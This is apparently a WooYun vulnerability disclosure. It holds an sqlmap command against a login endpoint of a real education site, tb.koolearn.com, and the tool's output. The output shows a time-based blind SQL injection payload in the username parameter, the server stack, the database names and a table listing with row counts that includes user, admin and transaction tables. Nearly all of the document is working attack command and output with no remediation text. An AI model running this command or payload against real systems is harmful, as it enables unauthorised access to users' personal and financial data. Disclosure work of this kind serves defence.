WooYun.org

sqlmap -u "http://tb.koolearn.com/index/lsub?username=a&password=s&checkbox=0"

Parameter: username (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: username=a' AND (SELECT * FROM (SELECT(SLEEP(5)))sMNR) AND 'cOLF'='cOLF&password=s&checkbox=0
---
[23:36:47] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.5.12
back-end DBMS: MySQL 5.0.12

available databases [3]:
[*] information_schema
[*] tbl
[*] test
Database: tbl
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| tbl_transaction          | 273227  |
| tbl_remind_push          | 71005   |
| tbl_user_study           | 60076   |
| tbl_course               | 57141   |
| tbl_review               | 26566   |
| tbl_stulist              | 22945   |
| tbl_code                 | 22510   |
| tbl_study                | 14302   |
| tbl_user                 | 14280   |
| zxzbcar_push             | 12867   |
| tbl_message              | 10300   |
| tbl_classlist            | 5154    |
| tbl_user_dream           | 5105    |
| tbl_answers              | 3214    |
| tbl_title                | 3064    |
| tbl_review_unlock        | 1757    |
| tbl_class_resource       | 1750    |
| tbl_bind                 | 1112    |
| tbl_teacher_point        | 985     |
| tbl_finance              | 879     |
| tbl_english_answers      | 877     |
| tbl_english_record       | 810     |
| tbl_finance_wj           | 776     |
| tbl_upaudiofile          | 774     |
| tbl_admin_class          | 554     |
| tbl_efficiency           | 517     |
| tbl_knowledge            | 416     |
| admin_roles              | 410     |
| tbl_english_upaudiofile  | 398     |
| tbl_admin                | 380     |
| tbl_finance_drop         | 371     |
| tbl_english_title        | 272     |
| tbl_messagetext          | 245     |
| tbl_composition          | 209     |
| tbl_coin_log             | 194     |
| tbl_push                 | 142     |
| tbl_knowledge_msg        | 73      |
| tbl_advice               | 65      |
| tbl_menu                 | 65      |
| tbl_morn_read            | 52      |
| tbl_schoollist           | 50      |
| goolen3                  | 48      |
| tbl_english_scene        | 32      |
| tbl_province             | 31      |
| tbl_english_mate         | 29      |
| tbl_buffey_column_video  | 22      |
| tbl_coins                | 21      |
| tbl_buffey_column_review | 13      |
| tbl_english_resource     | 13      |
| tbl_resources            | 9       |
| tbl_buffey_column_name   | 8       |
| tbl_bind_vir             | 4       |
| tbl_roles                | 3       |
| tbl_roles_ctrl           | 3       |
| tbl_advice_reply         | 1       |
| tbl_sign                 | 1       |
| tbl_version              | 1       |
+--------------------------+---------+